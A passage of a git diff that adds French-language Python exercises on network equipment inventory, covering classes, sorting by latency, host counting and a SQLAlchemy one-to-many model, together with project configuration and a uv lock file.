fonction `hotes_disponibles(bits_hote)` qui renvoie le nombre d'adresses **hôtes utilisables** d'un sous-réseau (indice : `2 ** bits - 2`). + +3. Écrivez une fonction `trier_par_latence(equipements)` qui renvoie la liste triée par latence croissante (utilisez `sorted` + `lambda`). + +4. Créez 3 équipements, affichez-les **triés par latence** avec leur état opérationnel, puis affichez le nombre d'hôtes d'un `/24` (soit 8 bits d'hôte). +""" + +class Equipment(): + def __init__(self, hostname:str, up:str, latency:float, active:bool=True): + self.hostname = hostname + self.up = up + self.latency = latency + self.active = active + + def __str__(self) -> str: + if self.active: + return f"=====\n \ +HOST : {self.hostname}\n \ +IS_UP : {self.up}\n \ +LATENCY : {self.latency}" + else: + return f"=====\n \ +Host is currently inactive." + + __repr__ = __str__ + + def is_operational(self, max_latency=100) -> bool: + return self.active and self.latency < max_latency + +def available_host(host_bits): + return f"{2 ** (32 - host_bits) - 2} hôtes sont disponibles sur {host_bits} bits." + +def sort_by_latency(equipments): + return sorted(equipments, key=lambda e: e.latency) + +# Equipements + +e1 = Equipment("Berillium", "Yes", 15, True) +e2 = Equipment("Thorium", "No", 7, False) +e3 = Equipment("Cadmium", "Yes", 12.4, True) +e4 = Equipment("Polonium", "Yes", 145, True) +e5 = Equipment("Actinium", "Yes", 2.7, True) + +eX = [e1, e2, e3, e4, e5] + +for e in sort_by_latency(eX): + if e.up == "Yes": + print(e) + +print(available_host(24)) \ No newline at end of file diff --git a/Semaine_11/Jour_01/exo_2_1.db b/Semaine_11/Jour_01/exo_2_1.db new file mode 100644 index 0000000..131ef6b Binary files /dev/null and b/Semaine_11/Jour_01/exo_2_1.db differ diff --git a/Semaine_11/Jour_01/inventaire.py b/Semaine_11/Jour_01/inventaire.py new file mode 100644 index 0000000..3983dc6 --- /dev/null +++ b/Semaine_11/Jour_01/inventaire.py @@ -0,0 +1,35 @@ +""" +**Consignes :** +1. Calculez le **nombre total** d'équipements et le **nombre d'équipements actifs**. +2. Construisez la **liste des hostnames** dont le `type` est `"switch"`. +3. Calculez la **latence moyenne des équipements actifs**. +4. Affichez un rapport lisible (une ligne par indicateur), latence arrondie à **2 décimales**. +""" + +equipements = [ + {"hostname": "srv-web-01", "ip": "192.168.1.10", "type": "serveur", "actif": True, "latence_ms": 12.4}, + {"hostname": "sw-access-02", "ip": "192.168.1.2", "type": "switch", "actif": True, "latence_ms": 1.2}, + {"hostname": "rtr-core-01", "ip": "10.0.0.1", "type": "routeur", "actif": False, "latence_ms": 3.5}, + {"hostname": "sw-access-03", "ip": "192.168.1.3", "type": "switch", "actif": True, "latence_ms": 1.8}, +] + +# 1. Nombre total d'équipements + +def total_equipments(equipments): + return f"{len(equipements)} équipements au total, {sum(e["actif"]for e in equipements)} actifs." + +# 2. Liste des noms d'hôtes de type "Switch" + +def name_equipments(equipments): + return (e["hostname"] for e in equipments if e["type"]=="switch") + +# 3. Calcul de la latence moyenne des équipements actifs + +def latency_equipments(equipments): + return f"{sum(e['latence_ms'] for e in equipments if e['actif']) / sum(e['actif'] for e in equipements):.2f}" + +# 4. Rapport lisible avec une ligne par indicateur + +print(total_equipments(equipements)) +print(list(name_equipments(equipements))) +print(latency_equipments(equipements)) \ No newline at end of file diff --git a/Semaine_11/Jour_01/inventaire_orm.py b/Semaine_11/Jour_01/inventaire_orm.py new file mode 100644 index 0000000..197e749 --- /dev/null +++ b/Semaine_11/Jour_01/inventaire_orm.py @@ -0,0 +1,94 @@ +""" +**Consignes :** + +1. Définissez deux modèles `Equipement` et `Interface` avec une relation **1-N** (`relationship` + `ForeignKey` + `back_populates`). + +2. Créez le moteur SQLite et générez les tables (`create_all`). + +3. Dans une `Session`, créez **un équipement avec ses deux interfaces en une seule fois**, puis `commit`. + +4. Récupérez les équipements avec `select()` et affichez, pour chacun, la liste de ses interfaces. +""" + +from sqlalchemy import create_engine, select +from sqlalchemy.orm import DeclarativeMeta, declarative_base, sessionmaker + +Base: DeclarativeMeta = declarative_base() +db_url = "sqlite:///exo_2_1.db" + +def get_engine(): + return create_engine(url= db_url) + +def get_session(): + engine = get_engine() + Session = sessionmaker(bind= engine) + return Session() + +engine = get_engine() + +from random import choice, randint + +from sqlalchemy import ForeignKey, Column, Integer, Float, String, Boolean +from sqlalchemy.orm import relationship + +class Equipment(Base): + __tablename__ = "equipments" + + id = Column(Integer, primary_key= True, autoincrement= True) + hostname = Column(String, default= "[HOSTNAME]", nullable= False) + type = Column(String, default= "Server", nullable= False) + ip_address = Column(String, default= "255.255.255.0", nullable= False) + is_active = Column(Boolean, default= True, nullable= False) + latency = Column(Float, nullable= False) + + interfaces = relationship("Interface", back_populates="equipment") + +class Interface(Base): + __tablename__ = "interfaces" + + id = Column(Integer, primary_key= True, autoincrement= True) + port = Column(Integer, nullable= False) + service = Column(String, default= "[SERVICE]", nullable= False) + + equipment_id = Column(Integer, ForeignKey("equipments.id"), nullable= False) + + equipment = relationship("Equipment", back_populates="interfaces") + +Base.metadata.create_all(engine) + +session = get_session() + +def random_ipv4() -> str: + return ".".join(str(randint(0, 255)) for _ in range(4)) + +def load_words(path: str = "wordlist.txt") -> list[str]: + with open(path, "r", encoding="utf-8") as f: + return [line.strip() for line in f if line.strip()] + +def random_hostname(words: list[str] | None = None) -> str: + if words is None: + words = load_words() + triplet = "-".join(choice(words) for _ in range(3)) + number = f"{randint(1, 999):03d}" + return f"{triplet}-{number}" + +equipment = Equipment( + hostname=random_hostname(), + type="Server", + ip_address=random_ipv4(), + is_active=True, + latency=12.5, + interfaces=[ + Interface(port=22, service="SSH"), + Interface(port=443, service="HTTPS"), + ], +) + +session.add(equipment) +session.commit() + +stmt = select(Equipment) +for eq in session.execute(stmt).scalars(): + print(f"{eq.hostname} ({eq.ip_address})") + for iface in eq.interfaces: + print(f" - port {iface.port} : {iface.service}") \ No newline at end of file diff --git a/Semaine_11/Jour_01/main.py b/Semaine_11/Jour_01/main.py new file mode 100644 index 0000000..4194d77 --- /dev/null +++ b/Semaine_11/Jour_01/main.py @@ -0,0 +1,6 @@ +def main(): + print("Hello from jour-01!") + + +if __name__ == "__main__": + main() diff --git a/Semaine_11/Jour_01/pyproject.toml b/Semaine_11/Jour_01/pyproject.toml new file mode 100644 index 0000000..013eda3 --- /dev/null +++ b/Semaine_11/Jour_01/pyproject.toml @@ -0,0 +1,9 @@ +[project] +name = "jour-01" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "sqlalchemy>=2.0.51", +] diff --git a/Semaine_11/Jour_01/uv.lock b/Semaine_11/Jour_01/uv.lock new file mode 100644 index 0000000..7d46454 --- /dev/null +++ b/Semaine_11/Jour_01/uv.lock @@ -0,0 +1,119 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "greenlet" +version = "3.5.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e2/f1/fbbfef6af0bad0548f09bc28948ea3c275b4edb19e17fc5ca9900a6a634d/greenlet-3.5.3.tar.gz", hash = "sha256:a61efc018fd3eb317eeca31aba90ee9e7f26f22884a79b6c6ec715bf71bb62f1", size = 200270, upload-time = "2026-06-26T19:28:24.832Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5d/6e/4c37d51a2b7f82d2ff11bb6b5f7d766d9a011726624af255e843727627a3/greenlet-3.5.3-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:719757059f5a53fd0dde23f78cffeafcdd97b21c850ddb7ca684a3c1a1f122e2", size = 288685, upload-time = "2026-06-26T18:22:08.977Z" }, + { url = "https://files.pythonhosted.org/packages/7a/73/815dd90131c1b71ebdf53dbc7c276cafec2a1173b97559f97aba72724a87/greenlet-3.5.3-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:efa9f765dd09f9d0cdac651ffdf631ee59ec5dc6ee7a73e0c012ba9c52fbdf5b", size = 604761, upload-time = "2026-06-26T19:07:10.114Z" }, + { url = "https://files.pythonhosted.org/packages/9f/57/079cfe76bcef36b153b25607ee91c6fcb58f17f8b23c86bbbeabe0c88d72/greenlet-3.5.3-cp312-cp312-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7faba15ac005376e02a0384504e0243be3370ce010296a44a820feb342b505ab", size = 617044, upload-time = "2026-06-26T19:10:07.25Z" }, + { url = "https://files.pythonhosted.org/packages/37/87/b4d095775a3fb1bcafbb483fc206b27ebb785724c83051447737085dc54e/greenlet-3.5.3-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:87142215824be6ac05e2e8e2786eec307ccbc27c36723c3881959df654af6861", size = 614244, upload-time = "2026-06-26T18:32:17.594Z" }, + { url = "https://files.pythonhosted.org/packages/8a/70/7559b609683650fa2b95b8ab84b4ab0b26556a635d19675e12aa832d826d/greenlet-3.5.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:215275b1b49320987352e6c1b054acca0064f965a2c66992bed9a6f7d913f149", size = 1574210, upload-time = "2026-06-26T19:09:03.077Z" }, + { url = "https://files.pythonhosted.org/packages/ae/73/be55392074c60fc37655ca40fa6022457bfbf6718e9e342a7b0b41f96dd2/greenlet-3.5.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6b1b0eed82364b0e32c4ea0f221452d33e6bb17ae094d9f72aed9851812747ea", size = 1638627, upload-time = "2026-06-26T18:31:44.748Z" }, + { url = "https://files.pythonhosted.org/packages/14/40/c57489acf8e37d74e2913d4eff63aa0dba17acccc4bdeef874dde2dbbec9/greenlet-3.5.3-cp312-cp312-win_amd64.whl", hash = "sha256:cde8adafa2365676f74a979744629589999093bc86e2484214f58e61df08902c", size = 239882, upload-time = "2026-06-26T18:23:27.518Z" }, + { url = "https://files.pythonhosted.org/packages/71/fd/6fea0e3d6600f785069481ee637e09378dd4118acdfd38ad88ae2db31c98/greenlet-3.5.3-cp312-cp312-win_arm64.whl", hash = "sha256:c4e7b79d83805475f0102008843f6eb45fd3bb0b2e88c774adab5fbaab27117d", size = 238211, upload-time = "2026-06-26T18:22:37.671Z" }, + { url = "https://files.pythonhosted.org/packages/9b/ff/a620267401db30a50cc8450ee90730e2d4a85658c055c0e760d4ed47fb13/greenlet-3.5.3-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:c8d87c2134d871df96ecdea9cec7cbaab286dadab0f56476e57aaf9e8ac11550", size = 287609, upload-time = "2026-06-26T18:21:14.724Z" }, + { url = "https://files.pythonhosted.org/packages/d6/fa/5401ac78021c826a25b6dde0c705e0a8f29b617509f9185a31dac15fbe1b/greenlet-3.5.3-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a2d185dd1621757e70c3861cceffd5317ab4e7ed7eb09c82994828468527ade5", size = 607435, upload-time = "2026-06-26T19:07:11.412Z" }, + { url = "https://files.pythonhosted.org/packages/e9/76/1dc144a2e56e65d36405078ed774224375ea520a1870a6e46e08bb4ac7bf/greenlet-3.5.3-cp313-cp313-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1c514a468149bf8fbbab874188a3535cd8a48a3e353eb53a3d424296f8dbacd3", size = 619787, upload-time = "2026-06-26T19:10:08.396Z" }, + { url = "https://files.pythonhosted.org/packages/bf/87/c298cee62df1de4ad7fec32abda73526cff347fd143a6ed4ac369246668a/greenlet-3.5.3-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:915f887cf2682b66419b879423a2e072634aa7b7dce6f3ada4957cfced3f1e9a", size = 616786, upload-time = "2026-06-26T18:32:19.128Z" }, + { url = "https://files.pythonhosted.org/packages/9e/2e/e6f009885ed0705ccf33fe0583c117cfd03cde77e31a596dd5785a30762b/greenlet-3.5.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:766cfd421c13e450feb340cd472a3ed9957d438727b7b4593ad7c76c5d2b0deb", size = 1574316, upload-time = "2026-06-26T19:09:04.273Z" }, + { url = "https://files.pythonhosted.org/packages/ef/fe/43fd110b01e40da0adb7c90ac7ea744bef2d43dca00de5095fd2351c2a68/greenlet-3.5.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:2ecda9ec22edf38fa389369eaed8c3d37c05f3c54e69f69438dbb2cc1de1458b", size = 1638614, upload-time = "2026-06-26T18:31:46.297Z" }, + { url = "https://files.pythonhosted.org/packages/0f/7c/062447147a61f8b4337b156fe70d32a165fcf2f89d7ca6255e572806705c/greenlet-3.5.3-cp313-cp313-win_amd64.whl", hash = "sha256:c82304750f057167ff60d188df1d0cc1764ce9567eadf03e6a7443bcedd0b30b", size = 239850, upload-time = "2026-06-26T18:21:54.613Z" }, + { url = "https://files.pythonhosted.org/packages/c7/7e/220a7f5824a64a60443fc03b39dfac4ea63a7fb6d481efa27eafa928e7f4/greenlet-3.5.3-cp313-cp313-win_arm64.whl", hash = "sha256:dc133a1569ee667b2a6ef56ce551084aeefd87a5acbc4736d336d1e2edc6cfc4", size = 238141, upload-time = "2026-06-26T18:22:48.507Z" }, + { url = "https://files.pythonhosted.org/packages/c3/93/43e116ee114b28737ba7e12952a0d4e2f55944d0f84e42bc91ba7192a3c9/greenlet-3.5.3-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:fd2e02fa07485778536a036222d616ab957b1d533f36b3ed98ce725d9c9d3117", size = 288202, upload-time = "2026-06-26T18:23:49.604Z" }, + { url = "https://files.pythonhosted.org/packages/82/2f/146d218299046a43d1f029fd544b3d110d0f175a09c715c7e8da4a4a345d/greenlet-3.5.3-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:df0a0628d1597eb0897b62f55d1343f772405fd25f3b2a796c76874b0c2e22e8", size = 654096, upload-time = "2026-06-26T19:07:12.71Z" }, + { url = "https://files.pythonhosted.org/packages/a0/cc/04738cafb3f45fa991ea44f9de94c47dcec964f5a972300988a6751f49d9/greenlet-3.5.3-cp314-cp314-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ebd933a6adabc298bab47731a130fe6bfb888bd934eee37810f151159544540d", size = 666304, upload-time = "2026-06-26T19:10:09.503Z" }, + { url = "https://files.pythonhosted.org/packages/ce/aa/4e0dad5e605c270c784ab911c43da6adb136ccd4d81180f763ca429a723d/greenlet-3.5.3-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4b9d501b40e80b70e32323c799dd9b420a5577a9601469d362ae1ffb690f3a7c", size = 663635, upload-time = "2026-06-26T18:32:20.802Z" }, + { url = "https://files.pythonhosted.org/packages/d1/50/13efdbea246fe3d3b735e191fec08fb50809f53cd2383ebe123d0809e44b/greenlet-3.5.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a1fad1d11e7d6aab184107baa8e4ece11ccba3ec9599cd7efa5ff4d70d43256a", size = 1621252, upload-time = "2026-06-26T19:09:05.647Z" }, + { url = "https://files.pythonhosted.org/packages/f7/22/c0a336ae4a1410fd5f5121098e5bfbf1865f64c5ef80b4b5412886c4a332/greenlet-3.5.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:fad5aec764399f1b5cc347ad250a59660f20c8f8888ea6bae1f93b769cce1154", size = 1684824, upload-time = "2026-06-26T18:31:47.738Z" }, + { url = "https://files.pythonhosted.org/packages/7a/94/91aec0030bea75c4b3244251d0de60a1f3432d1ecb53ab6c437fb5c3ba61/greenlet-3.5.3-cp314-cp314-win_amd64.whl", hash = "sha256:7669aa24cf2a1041d6f7899575b494a3ab4cf68bfcc8609b1dc0be7272db835e", size = 240754, upload-time = "2026-06-26T18:22:15.669Z" }, + { url = "https://files.pythonhosted.org/packages/e5/06/68d0983e79e02138f64b4d303c500c27ddb48e5e77f3debb80888a921eae/greenlet-3.5.3-cp314-cp314-win_arm64.whl", hash = "sha256:5b4807c4082c9d1b6d9eed56fcd041863e37f2228106eef24c30ca096e238605", size = 239549, upload-time = "2026-06-26T18:22:42.996Z" }, + { url = "https://files.pythonhosted.org/packages/91/95/3e161213d7f1d378d15aa9e792093e9bfe01844680d04b7fd6e0107c9098/greenlet-3.5.3-cp314-cp314t-macosx_11_0_universal2.whl", hash = "sha256:271a8ea7c1024e8a0d7dd2be66dd66dda8a07193f41a17b9e924f7600f5b62be", size = 296389, upload-time = "2026-06-26T18:22:20.657Z" }, + { url = "https://files.pythonhosted.org/packages/00/92/715c44721abe2b4d1ae9abde4179411868a5bff312479f54e105d372f131/greenlet-3.5.3-cp314-cp314t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:19131729ae0ddc3c2e1ef85e650169b5e37ee32e400f215f78b94d7b0d567310", size = 653382, upload-time = "2026-06-26T19:07:14.209Z" }, + { url = "https://files.pythonhosted.org/packages/a0/83/37a10372a1090a6624cca8e74c12df1a36c2dc36429ed0255b7fb1aeee23/greenlet-3.5.3-cp314-cp314t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1540dd8e5fc2a5aec40fbb98ef8e149fa47c89a4b4a1cf2575a14d3d1869d7a8", size = 659401, upload-time = "2026-06-26T19:10:10.876Z" }, + { url = "https://files.pythonhosted.org/packages/db/e2/d1509cad4207da559cc42986ecdd8fc67ad0d1bba2bf03023c467fd5e0f3/greenlet-3.5.3-cp314-cp314t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e81fa194a1d20967877bdf9c7794db2bc99063e5be36aee710c08f04c5bb087f", size = 656969, upload-time = "2026-06-26T18:32:22.272Z" }, + { url = "https://files.pythonhosted.org/packages/86/7d/eaf70de20aadca3a5884aec58362861c64ce45e7b277f47ed026926a3b89/greenlet-3.5.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:55cf4d777485d43110e47133cbba6d74a8885a87ec1227ef0267f9ee80c5aa21", size = 1617822, upload-time = "2026-06-26T19:09:06.893Z" }, + { url = "https://files.pythonhosted.org/packages/8a/f9/414d38fc400ae4350d4185eaad1827676f7cf5287b9136e0ed1cbbe20a7f/greenlet-3.5.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:12a248ba75f6a9a236375f52296c498c89ff1d8badf32deb9eca7abd5853f7da", size = 1677983, upload-time = "2026-06-26T18:31:49.396Z" }, + { url = "https://files.pythonhosted.org/packages/e4/15/7edb977e08f9bff702fe42d6c902702786ff6b9694058b4e6a2a6ac90e57/greenlet-3.5.3-cp314-cp314t-win_amd64.whl", hash = "sha256:efc6bd60ea02e085862c74a3ef64b147ffc6f1a5ea7d9f26e7a939943f68c1e3", size = 243626, upload-time = "2026-06-26T18:24:41.485Z" }, + { url = "https://files.pythonhosted.org/packages/2c/8a/93928dce91e6b3598b5e779e8d1fd6576a504640c58e78627077f6a7a91a/greenlet-3.5.3-cp315-cp315-macosx_11_0_universal2.whl", hash = "sha256:ea03f2f04367845d6b58eeed276e1e56e51f0b97d8ad5a88a7d20a91dc9056cc", size = 288860, upload-time = "2026-06-26T18:22:48.07Z" }, + { url = "https://files.pythonhosted.org/packages/4f/ca/69db42d447a1378043e2c8f19c09cbbd1263371505053c496b49066d3d16/greenlet-3.5.3-cp315-cp315-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78dbef602fda6d97d957eb7937f70c9ce9e9527330347f8f6b6f9e554a9e7a47", size = 659747, upload-time = "2026-06-26T19:07:15.565Z" }, + { url = "https://files.pythonhosted.org/packages/a8/0b/af7ac2ef8dd41e3da1a40dda6305c23b9a03e13ba975ec916357b50f8575/greenlet-3.5.3-cp315-cp315-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6f73857adb8fee13fa56c172bd11262f888c0c648f9fea113e777bb2c7904a81", size = 670419, upload-time = "2026-06-26T19:10:12.293Z" }, + { url = "https://files.pythonhosted.org/packages/51/1e/1d51640cacbfc455dbe9f9a9f594c49e4e244f63b9971a2f4764e46cc53d/greenlet-3.5.3-cp315-cp315-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:232fec92e823addaf02d9472cf7381e24a1d046a6ced1103c5caa4c21b9dfc1d", size = 668787, upload-time = "2026-06-26T18:32:24.298Z" }, + { url = "https://files.pythonhosted.org/packages/21/66/4030d5b0b5894500023f003bb054d9bb354dfbd1e186c3a296759172f5f5/greenlet-3.5.3-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:2421c3564da9429d5586d46ca31ebb26516b5498a802cf65c041a8e8a8980d34", size = 1626305, upload-time = "2026-06-26T19:09:08.281Z" }, + { url = "https://files.pythonhosted.org/packages/0e/50/5221371c7550108dfa3c378debc41d032aa9c78e89abb01d8011cfc93289/greenlet-3.5.3-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:e0f0d160f0b2e558e6c75f7930967183255dc9735e5f5b8cae58ee09c9576d8b", size = 1688631, upload-time = "2026-06-26T18:31:51.278Z" }, + { url = "https://files.pythonhosted.org/packages/68/5d/00d469daae3c65d2bf620b10eee82eb022127d483c6bc8c69fae6f3fbf17/greenlet-3.5.3-cp315-cp315-win_amd64.whl", hash = "sha256:dd99329bbc15ca78dcc583dba05d0b1b0bae01ab6c2174989f5aaee3e41ac930", size = 241027, upload-time = "2026-06-26T18:22:38.203Z" }, + { url = "https://files.pythonhosted.org/packages/e7/e8/883785b44c5780ed71e83d3e4437e710470be17a2e181e8b601e2da0dc4a/greenlet-3.5.3-cp315-cp315-win_arm64.whl", hash = "sha256:499fef2acede88c1864a57bb586b4bf533c81e1b82df7ab93451cdb47dfec227", size = 240085, upload-time = "2026-06-26T18:23:54.217Z" }, + { url = "https://files.pythonhosted.org/packages/1c/da/4f4a8450962fad137c1c8981a3f1b8919d06c829993d4d476f9c525d5173/greenlet-3.5.3-cp315-cp315t-macosx_11_0_universal2.whl", hash = "sha256:176bc16a721fa5fc294d70b87b4dfa5fbdd251b3da5d5372735ecef9bd7d6d0c", size = 297221, upload-time = "2026-06-26T18:23:27.176Z" }, + { url = "https://files.pythonhosted.org/packages/57/66/b3bfae3e220a9b63ea539a0eea681800c69ab1aada757eae8789f183e7ce/greenlet-3.5.3-cp315-cp315t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:629b614d2b786e89c50440e246f33eea78f58a962d0bdbbcc809e6d13605903f", size = 657221, upload-time = "2026-06-26T19:07:16.973Z" }, + { url = "https://files.pythonhosted.org/packages/7b/81/b6d4d73a709684fc77e7fa034d7c2fe82cffa9fc920fadcaa659c2626213/greenlet-3.5.3-cp315-cp315t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2b2e857ae16f5f72142edf75f9f176fe7526ba19a2841df1420516f83831c9f2", size = 663226, upload-time = "2026-06-26T19:10:13.723Z" }, + { url = "https://files.pythonhosted.org/packages/f5/07/e210b02b589f16e74ff48b730690e4a34ffe984219fce4f3c1a0e7ec8545/greenlet-3.5.3-cp315-cp315t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e515757e2e36bcbf1fad09a46e1557e8b1ae1797d4b44d09da7deed88ad28608", size = 660802, upload-time = "2026-06-26T18:32:26.081Z" }, + { url = "https://files.pythonhosted.org/packages/eb/2e/5303eb3fa06bca089060f479707182a93e360683bc252acf846c3090d34e/greenlet-3.5.3-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:b363d46ed1ea431825fdb01471bb024fc08399bad1572a616e853c7684415adb", size = 1622157, upload-time = "2026-06-26T19:09:09.527Z" }, + { url = "https://files.pythonhosted.org/packages/54/70/50de47a488f14df260b50ae34fb5d56016e308b098eab02c878b5223c26a/greenlet-3.5.3-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:e44da2f5bbdaabaf7d80b73dbb430c7035771e9f244e3c8b769715c9d8fa0a16", size = 1681159, upload-time = "2026-06-26T18:31:52.986Z" }, + { url = "https://files.pythonhosted.org/packages/a7/13/1055e1dda7882073eda533e2b96c62e55bbd2db7fda6d5ece992febc7071/greenlet-3.5.3-cp315-cp315t-win_amd64.whl", hash = "sha256:8ff8bed3e3baa20a3ea261ce00526f1898ad4801d4886fd2220580ee0ad8fadf", size = 244007, upload-time = "2026-06-26T18:22:04.353Z" }, + { url = "https://files.pythonhosted.org/packages/b4/0d/ca7d15afbdc397e3401134c9e1800d51d12b829661786187a4ad08fe484f/greenlet-3.5.3-cp315-cp315t-win_arm64.whl", hash = "sha256:b7068bd09f761f3f5b4d214c2bed063186b2a86148c740b3873e3f56d79bac31", size = 242586, upload-time = "2026-06-26T18:23:37.93Z" }, +] + +[[package]] +name = "jour-01" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "sqlalchemy" }, +] + +[package.metadata] +requires-dist = [{ name = "sqlalchemy", specifier = ">=2.0.51" }] + +[[package]] +name = "sqlalchemy" +version = "2.0.51" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "greenlet", marker = "platform_machine == 'AMD64' or platform_machine == 'WIN32' or platform_machine == 'aarch64' or platform_machine == 'amd64' or platform_machine == 'ppc64le' or platform_machine == 'win32' or platform_machine == 'x86_64'" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/02/f1/a7a892f18d4d224e6b26f706531eafccc41e37594d37d304786969ee13cb/sqlalchemy-2.0.51.tar.gz", hash = "sha256:804dccd8a4a6242c4e30ad961e540e18a588f6527202f2d6791b01845d59fdc9", size = 9912201, upload-time = "2026-06-15T15:41:20.012Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d5/70/e868bc5412acd101a8280f25c95f10eeae0771c4eb806b02491142810ee8/sqlalchemy-2.0.51-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7d78702b26ba1c18b2d0fb2ea940ba7f17a9581b42e8361ff93920ebbee1235a", size = 2160291, upload-time = "2026-06-15T16:08:48.918Z" }, + { url = "https://files.pythonhosted.org/packages/e5/1c/71ee0f8a6b9d7316a1ccd30430b4c62b6c2e36adc96017a4e3a72dce49d6/sqlalchemy-2.0.51-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:581921d849d6e6f994d560389192955e80e2950e18fcdfe2ccea863e01158e6e", size = 3343835, upload-time = "2026-06-15T16:19:42.613Z" }, + { url = "https://files.pythonhosted.org/packages/2b/7c/7ab9f9aadc5944fdd06612484ed7918fe376ad871a5f50404dc1536e0194/sqlalchemy-2.0.51-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1d21ce524ab86c23046e992a5b81cb54c21079c6df6e78b8fc77d77cac70a6b9", size = 3358470, upload-time = "2026-06-15T16:26:38.011Z" }, + { url = "https://files.pythonhosted.org/packages/d0/7d/ff77169fee6186de145a7f2b87006c39638391130abbab2b1f63ac6ea583/sqlalchemy-2.0.51-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:c5d98a2709840027f5a347c3af0a7c3d5f6c1ff93af2ca1c54494e23cba8f389", size = 3289874, upload-time = "2026-06-15T16:19:45.212Z" }, + { url = "https://files.pythonhosted.org/packages/6f/3b/6c505903710d781b55bc3141ee34a062bf9745a6b5bc7333305b9ed63b33/sqlalchemy-2.0.51-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:1181256e0f16479691b5616d36375dc2620ad8332b25978763c3d206ad3f3f1d", size = 3321692, upload-time = "2026-06-15T16:26:39.747Z" }, + { url = "https://files.pythonhosted.org/packages/3c/b7/c5ffe50aa2f4d947c9250e1519d939260329a07fe6272edfccd784b3d007/sqlalchemy-2.0.51-cp312-cp312-win32.whl", hash = "sha256:9f380393be5abeb6815f68fd39271b95127173511b6706b0a630a9995d53f8f5", size = 2119674, upload-time = "2026-06-15T16:23:09.543Z" }, + { url = "https://files.pythonhosted.org/packages/25/dc/46a65916af68a06ef6b972c6050ba4c8f97070fe3fb33097d34229d9bef6/sqlalchemy-2.0.51-cp312-cp312-win_amd64.whl", hash = "sha256:2cf39aabdf48e87c1c2c2ed6d20d33ffa0733b3071ce9c5f66357947dd009080", size = 2146670, upload-time = "2026-06-15T16:23:11.048Z" }, + { url = "https://files.pythonhosted.org/packages/54/fe/a210d52fd1a90ecfae8a78e9d8b27e18d733d60818a8bf250ff690b75120/sqlalchemy-2.0.51-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7c2056838b6685b72fdb36c99996cf862753461a62f2e84f4196371d3b2d6a07", size = 2157184, upload-time = "2026-06-15T16:08:50.374Z" }, + { url = "https://files.pythonhosted.org/packages/17/6b/2dce8369b199cb855110e056032f94a9f66dacc2237d3d39c115a86eac56/sqlalchemy-2.0.51-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:483b11bd46bf35fc14c52faf338b04300c9e6ce554bce9b11be85bfec3bc3195", size = 3284735, upload-time = "2026-06-15T16:19:46.934Z" }, + { url = "https://files.pythonhosted.org/packages/53/ff/dbc495b8a14da840faffb353857a72d4190113cac33727906fb997047f0f/sqlalchemy-2.0.51-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1bed1ee8b01da6088210aa9412023326fb98a599ba502e6118308601dcbef77f", size = 3302756, upload-time = "2026-06-15T16:26:41.336Z" }, + { url = "https://files.pythonhosted.org/packages/cf/d5/fde8f4dddcf518ee15ab35a7c6a28acc32c8ba548d1d2aa451f96e6dbb0b/sqlalchemy-2.0.51-cp313-cp313-musllinux_1_2_aarch64.whl", hash = 